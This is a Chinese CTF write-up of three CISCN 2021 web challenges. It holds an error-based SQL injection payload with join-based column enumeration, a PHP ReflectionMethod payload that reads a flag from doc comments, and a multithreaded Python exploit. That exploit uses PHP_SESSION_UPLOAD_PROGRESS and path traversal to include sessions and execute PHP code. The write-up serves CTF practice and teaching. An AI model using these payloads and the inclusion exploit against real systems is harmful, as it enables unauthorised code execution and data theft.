2021年 CISCN writeup

文章目录

  • 2021年 CISCN writeup
    • 1.1 easy_sql
    • 1.2 easy_source
    • 1.3 middle_source

1.1 easy_sql

进行手动测试,发现可以进行报错注入。Payload 为:

') AND updatexml(1, concat(0x7e, (database()), 0x7e), 1)--

尝试读取数据库表的表名,发现information关键字被过滤,猜了一下表名为 fl4g、flag,最后确定表名为 flag。

使用 join 爆出字段名。

select*from (select * from flag as a join flag b)c
select*from (select * from flag as a join flag b using(id,`no`))c
select*from (select * from flag as a join flag b using(id,`no`,`29023c0e-87b4-4f21-9ba3-f515c88243e2`))c

使用 group 语句查询 flag

SELECT group_concat(`29023c0e-87b4-4f21-9ba3-f515c88243e2`) from flag

CISCN{pN9yX-L8msl-YA6OI-WZ5QG-m,只获得了一半的 flag。

尝试绕过截断。

select substr((SELECT group_concat(`29023c0e-87b4-4f21-9ba3-f515c88243e2`) from flag), 30, 60)

-m7DeE-},获得另一半的 flag。

最后拼接得到flag为:CISCN{pN9yX-L8msl-YA6OI-WZ5QG-m7DeE-}

1.2 easy_source

通过扫描目录,发现.index.php.swo泄漏源码。

发现和fslh-writeup题目非常相似,尝试利用 PHP 内置类中的 ReflectionMethod 来读取 User 类里面各个函数的注释。

最后发现flag也是在q函数的注释中,payload为:?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

1.3 middle_source

扫描目录可以发现文件 .listing,在 you_can_seeeeeeee_me.php 路径中可以看到 phpinfo 的信息。

通过 phpinfo 中给出的 session 地址,和首页进行任意文件包含,可以联想到利用PHP_SESSION_UPLOAD_PROGRESS 进行文件包含。

参考文章《利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含》完成 expoit

#-*-coding:utf-8-*-
import threading
import requests
import io
import sysurl="http://121.36.31.240:24071/"
COUNT = 0file = io.BytesIO(b'a' * 1024 * 50)def Run(threads_name):global COUNTread_value = COUNTresp = requests.post(url=url,data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php echo "slug01sh";print_r(scandir("/etc/geecbbgagc/adbjhijbed/fhbccehdff/bafebihfee/efbdacbhae")); ?>', # session内容'cf':'../../../../../../var/lib/php/sessions/ieadabjdfh/sess_flag', # 文件名称'':''}, # !files={'file': ('a.txt', file)}, cookies={"PHPSESSID": "flag"}, # ! PHPSESSID)if 'slug01sh' in resp.text:print(resp.text)sys.exit(0)print("COUNT in Thread-%s is %d" % (str(threads_name), read_value))COUNT = read_value + 1def main():threads = []for j in range(200):t = threading.Thread(target=Run,args=(j,))threads.append(t)t.start()for i in range(len(threads)):threads[i].join()print("Finally, The COUNT is %d" % (COUNT,))if __name__ == '__main__':main()

在 data 的 PHP_SESSION_UPLOAD_PROGRESS 字段写入需要执行的代码,最后读到 flag 位于 /etc/geecbbgagc/adbjhijbed/fhbccehdff/bafebihfee/efbdacbhae,文件名为 fl444444g。

利用 index.php 的任意文件读取,即可得到 flag。

2021年 CISCN writeup相关推荐

  1. WMCTF 2021 pwn dy_maze writeup

      经过三天的奋战(摸鱼划水√),WMCTF 2021 终于结束,我们的萌新体验队在大家的共同努力下也拿到了前30的成绩,实在出乎我的预料.不过,对于我们的首次比赛而言,成绩是最次要的方面,队友们在比 ...

  2. 2021年CISCN初赛re

    文章目录 glass.apk 直接分析jni的函数: baby.bc .bc转换为可执行程序 fill_number(__int64)input) docheck(input, input):z3约束 ...

  3. SWPU新生赛2021 Crypto部分WriteUp

    第一波放题 crypto1 直接谷歌搜e1e2 = 3087 n = p*q,找到striving的博客,不愧是密码神 由于striving的旧博客域名已过期,因此就不放密码神的博客了 c1= 463 ...

  4. 陇原战“疫“2021网络安全大赛Writeup

    Web CheckIN 源代码的这两处: 先尝试访问/wget:/wget?argv=a,看出来这里应该是可以进行攻击的了 接着尝试利用wget的--post-file进行数据外带,读取源代码 在自己 ...

  5. ZJCTF-Triple Language Write up

    文章参考:ZJCTF 2021 Triple Language Writeup - 安全客,安全资讯平台 这位师傅太强了. 0x00 日常查壳 0x01 分析主函数 0x02 Check1 input ...

  6. 2021年中国工业互联网安全大赛核能行业赛道writeup之鱿鱼游戏

    目录 一.尝试 二.Writeup 附加题 鱿鱼游戏(来自最近一部很火的韩剧) 题目描述: 小王由于操作不规范,误将不明U盘插入到上位机中,导致上位机中的某些关键文件被加密,但攻击者在U盘中还留下了一 ...

  7. [2021首届“陇剑杯”网络安全大赛 决赛]内存取证writeup

    决赛不能联网-手上有只有vol2.6,这道题完全死了 文章目录 [2021首届"陇剑杯"网络安全大赛 决赛]内存取证 writeup 产品密钥 匿名邮箱 远控后门 数据清除时间 [ ...

  8. 2021年安全类比赛writeup总结

    360数字安全竞赛 恶意软件家族分类 本赛题的主要目标为恶意软件家族分类,赛题数据集包含了来自10个恶意软件家族,10000多个恶意软件的PE文件(No header)和使用IDAPro生成的asm文 ...

  9. 2021长安“战疫”网络安全卫士守护赛 misc部分writeup

    2021长安"战疫"网络安全卫士守护赛 misc部分writeup 八卦迷宫 朴实无华的取证 西安加油 ez_Encrypt 一百多名,我觉得还行欸,多亏了队里的crypto手 八 ...

最新文章

  1. ng-repeat 的重复问题
  2. java 鼠标拖动图形_java怎么实现鼠标在桌面拖动过程中 画 矩形的 功能?
  3. 第17课:RDD案例(join、cogroup等实战)
  4. 计算机二级高级应用这么难,计算机二级考试越来越难的实锤!真实数据告诉你到底难在哪里?...
  5. python怎么加图片_python中如何保存图片
  6. 亮屏变“黄”,暗屏变“绿”,iPhone 12用户太难了
  7. 难以置信,MySQL也可以无损自由切换
  8. robotlegs框架吴秦大师续讲【转载】
  9. UltraEdit 与 正则表达式 [转]
  10. Python使用jieba库实现分词统计词频
  11. 5.14 创建基于图层的切片并输出网页 [原创Ps教程]
  12. 抑郁症/新药等最新研究成果进展(2021年10月)
  13. nodejs ---- 起步
  14. 搬上小板凳,听嵌入式大牛讲解硬核单片机编程思想!
  15. Android ContextThemeWrapper cannot be cast to android.app.Activity
  16. 凯迪拉克5月软文-V设计
  17. 介绍python中几种遍历列表的for循环方法
  18. 【持续更新】机器学习特征工程实用技巧大全
  19. HBuilderX 使用内置终端打开命令框 操作文件
  20. 同余 在计算机中的应用 算法,线性乘同余法在购车摇号中的应用

热门文章

  1. L2-048 寻宝图
  2. 正版Xshell免费使用
  3. maven几个plugins
  4. 没有打不了的补丁切不了的面
  5. 【愚公系列】2021年11月 攻防世界-进阶题-MISC-055(肥宅快乐题)
  6. Java 使用poi-tl下载Word
  7. 对于Ubuntu16.04中jstest-gtk不能正常识别Logitech G920 racing wheel的问题补充
  8. 花生采摘(peanuts)
  9. 腾讯地图仿微信发送位置功能
  10. 【JVM技术专题】深入分析CG管理和原理查缺补漏「番外篇」